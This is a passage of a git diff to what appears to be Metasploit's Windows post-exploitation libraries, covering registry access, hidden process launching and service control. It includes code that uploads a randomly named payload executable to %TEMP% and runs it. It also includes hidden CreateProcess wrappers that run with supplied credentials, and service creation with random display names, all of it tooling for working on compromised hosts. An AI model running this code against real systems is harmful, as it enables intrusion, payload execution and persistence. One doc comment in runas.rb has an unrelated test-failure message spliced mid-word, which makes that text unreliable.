error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - end + # REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] + shell_registry_cmd_result("add /f \"#{key}\"", view) end # # Use reg.exe to delete +valname+ in +key+ # - def shell_registry_deleteval(key, valname) + def shell_registry_deleteval(key, valname, view) key = normalize_key(key) - boo = false - begin - # REG DELETE KeyName [/v ValueName | /ve | /va] [/f] - cmd = "cmd.exe /c reg delete \"#{key}\" /v \"#{valname}\" /f" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - end - return boo + # REG DELETE KeyName [/v ValueName | /ve | /va] [/f] + shell_registry_cmd_result("delete \"#{key}\" /v \"#{valname}\" /f", view) end # # Use reg.exe to delete +key+ and all its subkeys and values # - def shell_registry_deletekey(key) + def shell_registry_deletekey(key, view) key = normalize_key(key) - boo = false - begin - # REG DELETE KeyName [/v ValueName | /ve | /va] [/f] - cmd = "cmd.exe /c reg delete \"#{key}\" /f" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - end - return boo + # REG DELETE KeyName [/v ValueName | /ve | /va] [/f] + shell_registry_cmd_result("delete \"#{key}\" /f", view) end # # Use reg.exe to enumerate all the subkeys in +key+ # - def shell_registry_enumkeys(key) + def shell_registry_enumkeys(key, view) key = normalize_key(key) subkeys = [] reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|' reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR' - begin - bslashes = key.count('\\') - cmd = "cmd.exe /c reg query \"#{key}\"" - results = session.shell_command_token_win32(cmd) - if results - if results =~ /^Error:/ - error_hash = win_parse_error(results) - else # would like to use elsif results =~ /#{key}/ but can't figure it out - results.each_line do |line| - # now let's keep the ones that have a count = bslashes+1 - # feels like there's a smarter way to do this but... - if (line.count('\\') == bslashes+1 && !line.ends_with?('\\')) - #then it's a first level subkey - subkeys << line.split('\\').last.chomp # take & chomp the last item only - end - end - #else - # error_hash = win_parse_error("ERROR:Unrecognizable results from #{cmd}") + bslashes = key.count('\\') + results = shell_registry_cmd("query \"#{key}\"", view) + unless results.include?('Error') + results.each_line do |line| + # now let's keep the ones that have a count = bslashes+1 + # feels like there's a smarter way to do this but... + if (line.count('\\') == bslashes+1 && !line.ends_with?('\\')) + #then it's a first level subkey + subkeys << line.split('\\').last.chomp # take & chomp the last item only end - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") end end - return subkeys + subkeys end # # Use reg.exe to enumerate all the values in +key+ # - def shell_registry_enumvals(key) + def shell_registry_enumvals(key, view) key = normalize_key(key) values = [] reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|' reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR' - begin - # REG QUERY KeyName [/v ValueName | /ve] [/s] - cmd = "cmd.exe /c reg query \"#{key}\"" - results = session.shell_command_token_win32(cmd) - if results =~ /^Error:/ - error_hash = win_parse_error(results) - elsif values = results.scan(/^ +.*[#{reg_data_types}].*/) + # REG QUERY KeyName [/v ValueName | /ve] [/s] + results = shell_registry_cmd("query \"#{key}\"", view) + unless results.include?('Error') + if values = results.scan(/^ +.*[#{reg_data_types}].*/) # yanked the lines with legit REG value types like REG_SZ # now let's parse out the names (first field basically) values.collect! do |line| @@ -303,75 +264,50 @@ protected t = nil if t == "<NO" t end - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") end end - return values + values end # # Returns the data portion of the value +valname+ # - def shell_registry_getvaldata(key, valname) - value = nil - begin - a = shell_registry_getvalinfo(key, valname) - value = a["Data"] || nil - end - return value + def shell_registry_getvaldata(key, valname, view) + a = shell_registry_getvalinfo(key, valname, view) + a["Data"] || nil end # # Enumerate the type and data stored in the registry value +valname+ in # +key+ # - def shell_registry_getvalinfo(key, valname) + def shell_registry_getvalinfo(key, valname, view) key = normalize_key(key) value = {} value["Data"] = nil # defaults value["Type"] = nil - begin - # REG QUERY KeyName [/v ValueName | /ve] [/s] - cmd = "cmd.exe /c reg query \"#{key}\" /v \"#{valname}\"" - results = session.shell_command_token_win32(cmd) - if match_arr = /^ +#{valname}.*/i.match(results) - # pull out the interesting line (the one with the value name in it) - # and split it with ' ' yielding [valname,REGvaltype,REGdata] - split_arr = match_arr[0].split(' ') - value["Type"] = split_arr[1] - value["Data"] = split_arr[2] - # need to test to ensure all results can be parsed this way - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end + # REG QUERY KeyName [/v ValueName | /ve] [/s] + results = shell_registry_cmd("query \"#{key}\" /v \"#{valname}\"", view) + if match_arr = /^ +#{valname}.*/i.match(results) + # pull out the interesting line (the one with the value name in it) + # and split it with ' ' yielding [valname,REGvaltype,REGdata] + split_arr = match_arr[0].split(' ') + value["Type"] = split_arr[1] + value["Data"] = split_arr[2] + # need to test to ensure all results can be parsed this way end - return value + value end # # Use reg.exe to add a value +valname+ in the key +key+ with the specified # +type+ and +data+ # - def shell_registry_setvaldata(key, valname, data, type) + def shell_registry_setvaldata(key, valname, data, type, view) key = normalize_key(key) - boo = false - begin - # REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] - # /f to overwrite w/o prompt - cmd = "cmd.exe /c reg add \"#{key}\" /v \"#{valname}\" /t \"#{type}\" /d \"#{data}\" /f" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - end - return boo + # REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] + # /f to overwrite w/o prompt + shell_registry_cmd_result("add /f \"#{key}\" /v \"#{valname}\" /t \"#{type}\" /d \"#{data}\" /f", view) end @@ -379,16 +315,25 @@ protected # Meterpreter-specific registry manipulation methods ## + def meterpreter_registry_perms(perms, view = REGISTRY_VIEW_NATIVE) + if view == REGISTRY_VIEW_32_BIT + perms |= KEY_WOW64_32KEY + elsif view == REGISTRY_VIEW_64_BIT + perms |= KEY_WOW64_64KEY + end + perms + end + # # Load a registry hive stored in +file+ into +key+ # - def meterpreter_registry_loadkey(key,file) + def meterpreter_registry_loadkey(key, file) begin client.sys.config.getprivs() root_key, base_key = session.sys.registry.splitkey(key) #print_debug("Loading file #{file}") begin - loadres= session.sys.registry.load_key(root_key,base_key,file) + loadres = session.sys.registry.load_key(root_key, base_key, file) rescue Rex::Post::Meterpreter::RequestError => e case e.to_s when "stdapi_registry_load_key: Operation failed: 1314" @@ -412,7 +357,6 @@ protected rescue return false end - end # @@ -445,11 +389,11 @@ protected # # Create a new registry key # - def meterpreter_registry_createkey(key) + def meterpreter_registry_createkey(key, view) begin root_key, base_key = session.sys.registry.splitkey(key) - - open_key = session.sys.registry.create_key(root_key, base_key) + perms = meterpreter_registry_perms(KEY_WRITE, view) + open_key = session.sys.registry.create_key(root_key, base_key, perms) open_key.close return true rescue Rex::Post::Meterpreter::RequestError => e @@ -460,10 +404,11 @@ protected # # Delete the registry value +valname+ store in +key+ # - def meterpreter_registry_deleteval(key, valname) + def meterpreter_registry_deleteval(key, valname, view) begin root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_WRITE) + perms = meterpreter_registry_perms(KEY_WRITE, view) + open_key = session.sys.registry.open_key(root_key, base_key, perms) open_key.delete_value(valname) open_key.close return true @@ -475,10 +420,11 @@ protected # # Delete the registry key +key+ # - def meterpreter_registry_deletekey(key) + def meterpreter_registry_deletekey(key, view) begin root_key, base_key = session.sys.registry.splitkey(key) - deleted = session.sys.registry.delete_key(root_key, base_key) + perms = meterpreter_registry_perms(KEY_WRITE, view) + deleted = session.sys.registry.delete_key(root_key, base_key, perms) return deleted rescue Rex::Post::Meterpreter::RequestError => e return nil @@ -488,53 +434,50 @@ protected # # Enumerate the subkeys in +key+ # - def meterpreter_registry_enumkeys(key) - subkeys = [] + def meterpreter_registry_enumkeys(key, view) begin + subkeys = [] root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - keys = open_key.enum_key + perms = meterpreter_registry_perms(KEY_READ, view) + keys = session.sys.registry.enum_key_direct(root_key, base_key, perms) keys.each { |subkey| subkeys << subkey } - open_key.close + return subkeys rescue Rex::Post::Meterpreter::RequestError => e return nil end - return subkeys end # # Enumerate the values in +key+ # - def meterpreter_registry_enumvals(key) - values = [] + def meterpreter_registry_enumvals(key, view) begin + values = [] vals = {} root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - vals = open_key.enum_value + perms = meterpreter_registry_perms(KEY_READ, view) + vals = session.sys.registry.enum_value_direct(root_key, base_key, perms) vals.each { |val| values << val.name } - open_key.close + return values rescue Rex::Post::Meterpreter::RequestError => e return nil end - return values end # # Get the data stored in the value +valname+ # - def meterpreter_registry_getvaldata(key, valname) - value = nil + def meterpreter_registry_getvaldata(key, valname, view) begin + value = nil root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(valname) + perms = meterpreter_registry_perms(KEY_READ, view) + v = session.sys.registry.query_value_direct(root_key, base_key, valname, perms) value = v.data - open_key.close rescue Rex::Post::Meterpreter::RequestError => e return nil end @@ -544,11 +487,12 @@ protected # # Enumerate the type and data of the value +valname+ # - def meterpreter_registry_getvalinfo(key, valname) + def meterpreter_registry_getvalinfo(key, valname, view) value = {} begin root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + perms = meterpreter_registry_perms(KEY_READ, view) + open_key = session.sys.registry.open_key(root_key, base_key, perms) v = open_key.query_value(valname) value["Data"] = v.data value["Type"] = v.type @@ -562,12 +506,12 @@ protected # # Add the value +valname+ to the key +key+ with the specified +type+ and +data+ # - def meterpreter_registry_setvaldata(key, valname, data, type) + def meterpreter_registry_setvaldata(key, valname, data, type, view) begin root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(valname, session.sys.registry.type2str(type), data) - open_key.close + perms = meterpreter_registry_perms(KEY_WRITE, view) + session.sys.registry.set_value_direct(root_key, base_key, + valname, session.sys.registry.type2str(type), data, perms) return true rescue Rex::Post::Meterpreter::RequestError => e return nil diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index dc4933ffd1..065286be57 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -8,11 +8,17 @@ module Msf::Post::Windows::Runas include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::Powershell + include Msf::Post::Windows::Error + + ERROR = Msf::Post::Windows::Error + MAX_PATH = 260 + STARTF_USESHOWWINDOW = 0x00000001 + SW_HIDE = 0 def shell_execute_exe(filename = nil, path = nil) exe_payload = generate_payload_exe payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' - payload_path = path || expand_path('%TEMP%') + payload_path = path || get_env('TEMP') cmd_location = "#{payload_path}\\#{payload_filename}" print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...") write_file(cmd_location, exe_payload) @@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas select(nil, nil, nil, 1) until session_created? end end + + # + # Create a STARTUP_INFO struct for use with CreateProcessA + # + # This struct will cause the process to be hidden + # + # @return [String] STARTUP_INFO struct + # + def startup_info + [0, # cb + 0, # lpReserved + 0, # lpDesktop + 0, # lpTitle + 0, # dwX + 0, # dwY + 0, # dwXSize + 0, # dwYSize + 0, # dwXCountChars + 0, # dwYCountChars + 0, # dwFillAttribute + STARTF_USESHOWWINDOW, # dwFlags + SW_HIDE, # wShowWindow + 0, # cbReserved2 + 0, # lpReserved2 + 0, # hStdInput + 0, # hStdOutput + 0 # hStdError + ].pack('VVVVVVVVVVVVvvVVVV') + end + + # + # Call CreateProcessWithLogonW to start a process with the supplier + # user credentials + # + # @note The caller should clear up the handles returned in + # the PROCESS_INFORMATION @return hash. + # + # @param domain [String] The target user domain + # @param user [String] The target user + # @param password [String] The target user password + # @param application_name [String] The executable to be run, can be + # nil + # @param command_line [String] The command line or process arguments + # + # @return [Hash, nil] The values from the process_information struct + # + def create_process_with_logon(domain, user, password, application_name, command_line) + return unless check_user_format(user, domain) + return unless check_command_length(application_name, command_line, 1024) + + vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...") + create_process = session.railgun.advapi32.CreateProcessWithLogonW(user, + domain, + password, + 'LOGON_WITH_PROFILE', + application_name, + command_line, + 'CREATE_UNICODE_ENVIRONMENT', + nil, + nil, + startup_info, + 16) + if create_process['return'] + pi = parse_process_information(create_process['lpProcessInformation']) + print_good("Process started successfully, PID: #{pi[:process_id]}") + else + print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") + print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil? + end + + pi + end + + # + # Call CreateProcessAsUser to start a process with the supplier + # user credentials + # + # Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and + # SE_ASSIGNPRIMARYTOKEN_NAME privileges. + # + # This will normally error with 0xc000142 on later OS's (Vista+?) for + # gui apps but is ok for firing off cmd.exe... + # + # @param domain [String] The target user domain + # @param user [String] The target user + # @param password [String] The target user password + # @param application_name [String] Thn executableived :CloseHandle + # with unexpected arguments + # expected: ("testPhToken") + # got: (n be run, can be + # nil + # @param command_line [String] The command line or process arguments + # + # @return [Hash, nil] The values from the process_information struct + # + def create_process_as_user(domain, user, password, application_name, command_line) + return unless check_user_format(user, domain) + return unless check_command_length(application_name, command_line, 32000) + + vprint_status("Executing LogonUserA...") + logon_user = session.railgun.advapi32.LogonUserA(user, + domain, + password, + 'LOGON32_LOGON_INTERACTIVE', + 'LOGON32_PROVIDER_DEFAULT', + 4) + + if logon_user['return'] + begin + ph_token = logon_user['phToken'] + vprint_status("Executing CreateProcessAsUserA...") + create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token, + application_name, + command_line, + nil, + nil, + false, + 'CREATE_NEW_CONSOLE', + nil, + nil, + startup_info, + 16) + + if create_process['return'] + begin + pi = parse_process_information(create_process['lpProcessInformation']) + ensure + session.railgun.kernel32.CloseHandle(pi[:process_handle]) + session.railgun.kernel32.CloseHandle(pi[:thread_handle]) + end + print_good("Process started successfully, PID: #{pi[:process_id]}") + else + print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") + end + + return pi + ensure + session.railgun.kernel32.CloseHandle(ph_token) + end + else + print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") + end + + nil + end + + # + # Parse the PROCESS_INFORMATION struct + # + # @param process_information [String] The PROCESS_INFORMATION value + # from the CreateProcess call + # + # @return [Hash] The values from the process_information struct + # + def parse_process_information(process_information) + fail ArgumentError, 'process_information is nil' if process_information.nil? + fail ArgumentError, 'process_information is empty string' if process_information.empty? + + pi = process_information.unpack('VVVV') + { :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] } + end + + # + # Checks the username and domain is in the correct format + # for the CreateProcess_x WinAPI calls. + # + # @param username [String] The target user + # @param domain [String] The target user domain + # + # @raise [ArgumentError] If the username format is incorrect + # + # @return [True] True if username is in the correct format + # + def check_user_format(username, domain) + fail ArgumentError, 'username is nil' if username.nil? + + if domain && username.include?('@') + raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil' + end + + true + end + + # + # Checks the command_length parameter is the correct length + # for the CreateProcess_x WinAPI calls depending on the presence + # of application_name + # + # @param application_name [String] lpApplicationName + # @param command_line [String] lpCommandLine + # @param max_length [Integer] The max command length of the respective + # CreateProcess function + # + # @raise [ArgumentError] If the command_line is too large + # + # @return [True] True if the command_line is within the correct bounds + # + def check_command_length(application_name, command_line, max_length) + fail ArgumentError, 'max_length is nil' if max_length.nil? + + if application_name.nil? && command_line.nil? + raise ArgumentError, 'Both application_name and command_line are nil' + elsif command_line && command_line.length > max_length + raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})" + elsif application_name.nil? && command_line + cl = command_line.split(' ') + if cl[0] && cl[0].length > MAX_PATH + raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})" + end + end + + true + end end diff --git a/lib/msf/core/post/windows/services.rb b/lib/msf/core/post/windows/services.rb index a3d0d20b5a..1d850c9826 100644 --- a/lib/msf/core/post/windows/services.rb +++ b/lib/msf/core/post/windows/services.rb @@ -23,8 +23,29 @@ end # module Services + START_TYPE = ["Boot","System","Auto","Manual","Disabled"] + START_TYPE_BOOT = 0 + START_TYPE_SYSTEM = 1 + START_TYPE_AUTO = 2 + START_TYPE_MANUAL = 3 + START_TYPE_DISABLED = 4 + + SERVICE_STOPPED = 1 + SERVICE_START_PENDING = 2 + SERVICE_STOP_PENDING = 3 + SERVICE_RUNNING = 4 + SERVICE_CONTINUE_PENDING = 5 + SERVICE_PAUSE_PENDING = 6 + SERVICE_PAUSED = 7 + + include ::Msf::Post::Windows::Error + include ::Msf::Post::Windows::ExtAPI include ::Msf::Post::Windows::Registry + def advapi32 + session.railgun.advapi32 + end + # # Open the service manager with advapi32.dll!OpenSCManagerA on the # given host or the local machine if :host option is nil. If called @@ -42,12 +63,12 @@ module Services # OpenSCManagerA() # @yield [manager] Gives the block a manager handle as returned by # advapi32.dll!OpenSCManagerA. When the block returns, the handle - # will be closed with {#close_sc_manager}. + # will be closed with {#close_service_handle}. # @raise [RuntimeError] if OpenSCManagerA returns a NULL handle # def open_sc_manager(opts={}) host = opts[:host] || nil - access = opts[:access] || 0xF003F + access = opts[:access] || "SC_MANAGER_ALL_ACCESS" machine_str = host ? "\\\\#{host}" : nil # SC_HANDLE WINAPI OpenSCManager( @@ -55,16 +76,16 @@ module Services # _In_opt_ LPCTSTR lpDatabaseName, # _In_ DWORD dwDesiredAccess # ); - manag = session.railgun.advapi32.OpenSCManagerA(machine_str,nil,access) + manag = advapi32.OpenSCManagerA(machine_str,nil,access) if (manag["return"] == 0) - raise RuntimeError.new("Unable to open service manager, GetLastError: #{manag["GetLastError"]}") + raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}") end if (block_given?) begin yield manag["return"] ensure - close_sc_manager(manag["return"]) + close_service_handle(manag["return"]) end else return manag["return"] @@ -74,39 +95,115 @@ module Services # # Call advapi32.dll!CloseServiceHandle on the given handle # - def close_sc_manager(handle) + def close_service_handle(handle) if handle - session.railgun.advapi32.CloseServiceHandle(handle) + advapi32.CloseServiceHandle(handle) + end + end + + # + # Open the service with advapi32.dll!OpenServiceA on the + # target manager + # + # @return [Fixnum] Opaque Windows handle SC_HANDLE as returned by + # OpenServiceA() + # @yield [manager] Gives the block a service handle as returned by + # advapi32.dll!OpenServiceA. When the block returns, the handle + # will be closed with {#close_service_handle}. + # @raise [RuntimeError] if OpenServiceA failed + # + def open_service_handle(manager, name, access) + handle = advapi32.OpenServiceA(manager, name, access) + if (handle["return"] == 0) + raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}") + end + + if (block_given?) + begin + yield handle["return"] + ensure + close_service_handle(handle["return"]) + end + else + return handle["return"] + end + end + + # Yield each service name on the remote host + # + # @todo Allow operating on a remote host + # @yield [String] Case-sensitive name of a service + def each_service(&block) + if load_extapi + session.extapi.service.enumerate.each(&block) + else + serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" + + keys = registry_enumkeys(serviceskey) + keys.each do |sk| + srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type") + # From http://support.microsoft.com/kb/103000 + # + # 0x1 A Kernel device driver. + # + # 0x2 File system driver, which is also + # a Kernel device driver. + # + # 0x4 A set of arguments for an adapter. + # + # 0x10 A Win32 program that can be started + # by the Service Controller and that + # obeys the service control protocol. + # This type of Win32 service runs in + # a process by itself. + # + # 0x20 A Win32 service that can share a process + # with other Win32 services. + if srvtype == 32 || srvtype == 16 + yield sk + end + end + + keys end end # # List all Windows Services present # - # @return [Array] The names of the services. + # @return [Array<Hash>] Array of Hashes containing Service details. May contain the following keys: + # * :name + # * :display + # * :pid + # * :status + # * :interactive # # @todo Rewrite to allow operating on a remote host # def service_list - serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" - a =[] - services = [] - keys = registry_enumkeys(serviceskey) - keys.each do |s| - if a.length >= 10 - a.first.join - a.delete_if {|x| not x.alive?} - end - t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s - if srvtype == "32" or srvtype == "16" - services << sk - end - rescue + if load_extapi + return session.extapi.service.enumerate + else + serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" + a =[] + services = [] + keys = registry_enumkeys(serviceskey) + keys.each do |s| + if a.length >= 10 + a.first.join + a.delete_if {|x| not x.alive?} end - } - a.push(t) + t = framework.threads.spawn(self.refname+"-ServiceRegistryList",false,s) { |sk| + begin + srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s + if srvtype == "32" or srvtype == "16" + services << {:name => sk } + end + rescue + end + } + a.push(t) + end end return services @@ -119,6 +216,9 @@ module Services # command executed by the service. Service name is case sensitive. Hash # keys are Name, Start, Command and Credentials. # + # If ExtAPI is available we return the DACL, LOGroup, and Interactive + # values otherwise these values are nil + # # @param name [String] The target service's name (not to be confused # with Display Name). Case sensitive. # @@ -128,18 +228,24 @@ module Services # def service_info(name) service = {} - servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" - service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s - srvstart = registry_getvaldata(servicekey,"Start").to_i - if srvstart == 2 - service["Startup"] = "Auto" - elsif srvstart == 3 - service["Startup"] = "Manual" - elsif srvstart == 4 - service["Startup"] = "Disabled" + + if load_extapi + begin + return session.extapi.service.query(name) + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error("Request Error #{e} falling back to registry technique") + end end - service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s - service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s + + servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" + service[:display] = registry_getvaldata(servicekey,"DisplayName").to_s + service[:starttype] = registry_getvaldata(servicekey,"Start").to_i + service[:path] = registry_getvaldata(servicekey,"ImagePath").to_s + service[:startname] = registry_getvaldata(servicekey,"ObjectName").to_s + service[:dacl] = nil + service[:logroup] = nil + service[:interactive] = nil + return service end @@ -149,17 +255,68 @@ module Services # Mode is a string with either auto, manual or disable for the # corresponding setting. The name of the service is case sensitive. # - # @todo Rewrite to allow operating on a remote host # - def service_change_startup(name,mode) + def service_change_startup(name, mode, server=nil) + if mode.is_a? Integer + startup_number = mode + else + case mode.downcase + when "boot" then startup_number = START_TYPE_BOOT + when "system" then startup_number = START_TYPE_SYSTEM + when "auto" then startup_number = START_TYPE_AUTO + when "manual" then startup_number = START_TYPE_MANUAL + when "disable" then startup_number = START_TYPE_DISABLED + else + raise RuntimeError, "Invalid Startup Mode: #{mode}" + end + end + + if session.railgun + begin + ret = service_change_config(name, {:starttype => startup_number}, server) + return (ret == Error::SUCCESS) + rescue Rex::Post::Meterpreter::RequestError => e + if server + # Cant do remote registry changes at present + return false + else + vprint_error("Request Error #{e} falling back to registry technique") + end + end + end + servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" - case mode.downcase - when "auto" then - registry_setvaldata(servicekey,"Start","2","REG_DWORD") - when "manual" then - registry_setvaldata(servicekey,"Start","3","REG_DWORD") - when "disable" then - registry_setvaldata(servicekey,"Start","4","REG_DWORD") + registry_setvaldata(servicekey,"Start",startup_number,"REG_DWORD") + end + + # + # Modify a service on the session host + # + # @param name [String] Name of the service to be used as the key + # @param opts [Hash] Settings to be modified + # @param server [String,nil] A hostname or IP address. Default is the + # remote localhost + # + # @return [GetLastError] 0 if the function succeeds + # + def service_change_config(name, opts, server=nil) + open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager| + open_service_handle(manager, name, "SERVICE_CHANGE_CONFIG") do |service_handle| + ret = advapi32.ChangeServiceConfigA(service_handle, + opts[:service_type] || "SERVICE_NO_CHANGE", + opts[:starttype] || "SERVICE_NO_CHANGE", + opts[:error_control] || "SERVICE_NO_CHANGE", + opts[:path] || nil, + opts[:logroup] || nil, + opts[:tag_id] || nil, + opts[:dependencies] || nil, + opts[:startname] || nil, + opts[:password] || nil, + opts[:display] || nil + ) + + return ret['GetLastError'] + end end end @@ -167,47 +324,48 @@ module Services # Create a service that runs +executable_on_host+ on the session host # # @param name [String] Name of the service to be used as the key - # @param display_name [String] Name of the service as displayed by mmc - # @param executable_on_host [String] EXE on the remote filesystem to - # be used as the service executable - # @param startup [Fixnum] Constant used by CreateServiceA for startup - # type: 2 for Auto, 3 for Manual, 4 for Disable. Default is Auto + # @param opts [Hash] Settings to be modified # @param server [String,nil] A hostname or IP address. Default is the # remote localhost # - # @return [true,false] True if there were no errors, false otherwise + # @return [GetLastError] 0 if the function succeeds # - def service_create(name, display_name, executable_on_host, startup=2, server=nil) - adv = session.railgun.advapi32 + def service_create(name, opts, server=nil) + access = "SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS" + open_sc_manager(:host=>server, :access=>access) do |manager| - # SC_MANAGER_CONNECT 0x01 - # SC_MANAGER_CREATE_SERVICE 0x02 - # SC_MANAGER_QUERY_LOCK_STATUS 0x10 - open_sc_manager(:host=>server, :access=>0x13) do |manager| - # SC_HANDLE WINAPI CreateService( - # __in SC_HANDLE hSCManager, - # __in LPCTSTR lpServiceName, - # __in_opt LPCTSTR lpDisplayName, - # __in DWORD dwDesiredAccess, - # __in DWORD dwServiceType, - # __in DWORD dwStartType, - # __in DWORD dwErrorControl, - # __in_opt LPCTSTR lpBinaryPathName, - # __in_opt LPCTSTR lpLoadOrderGroup, - # __out_opt LPDWORD lpdwTagId, - # __in_opt LPCTSTR lpDependencies, - # __in_opt LPCTSTR lpServiceStartName, - # __in_opt LPCTSTR lpPassword - #); - newservice = adv.CreateServiceA(manager, name, display_name, - 0x0010, 0X00000010, startup, 0, executable_on_host, - nil, nil, nil, nil, nil) - adv.CloseServiceHandle(newservice["return"]) - if newservice["GetLastError"] == 0 - return true - else - return false + opts[:display] ||= Rex::Text.rand_text_alpha(8) + opts[:desired_access] ||= "SERVICE_START" + opts[:service_type] ||= "SERVICE_WIN32_OWN_PROCESS" + opts[:starttype] ||= START_TYPE_AUTO + opts[:error_control] ||= "SERVICE_ERROR_IGNORE" + opts[:path] ||= nil + opts[:logroup] ||= nil + opts[:tag_id] ||= nil + opts[:dependencies] ||= nil + opts[:startname] ||= nil + opts[:password] ||= nil + + newservice = advapi32.CreateServiceA(manager, + name, + opts[:display], + opts[:desired_access], + opts[:service_type], + opts[:starttype], + opts[:error_control], + opts[:path], + opts[:logroup], + opts[:tag_id], # out + opts[:dependencies], + opts[:startname], + opts[:password] + ) + + if newservice + close_service_handle(newservice["return"]) end + + return newservice["GetLastError"] end end @@ -224,27 +382,11 @@ module Services # @raise [RuntimeError] if OpenServiceA failed # def service_start(name, server=nil) - adv = session.railgun.advapi32 - open_sc_manager(:host=>server, :access=>1) do |manager| - # SC_HANDLE WINAPI OpenService( - # _In_ SC_HANDLE hSCManager, - # _In_ LPCTSTR lpServiceName, - # _In_ DWORD dwDesiredAccess - # ); - # open with access SERVICE_START (0x0010) - handle = adv.OpenServiceA(manager, name, 0x10) - if(handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") - end - retval = adv.StartServiceA(handle["return"],0,nil) - adv.CloseServiceHandle(handle["return"]) + open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager| + open_service_handle(manager, name, "SERVICE_START") do |service_handle| + retval = advapi32.StartServiceA(service_handle,0,nil) - # This is terrible. Magic return values should be refactored to - # something meaningful. - case retval["GetLastError"] - when 0; return 0 # everything worked - when 1056; return 1 # service already started - when 1058; return 2 # service disabled + return retval["GetLastError"] end end end @@ -260,22 +402,21 @@ module Services # @raise (see #service_start) # def service_stop(name, server=nil) - adv = session.railgun.advapi32 + open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager| + open_service_handle(manager, name, "SERVICE_STOP") do |service_handle| - # SC_MANAGER_SERVICE_STOP (0x0020) - open_sc_manager(:host=>server, :access=>1) do |manager| - # open with SERVICE_STOP (0x0020) - handle = adv.OpenServiceA(manager, name, 0x20) - if(handle["return"] == 0) - raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") - end - retval = 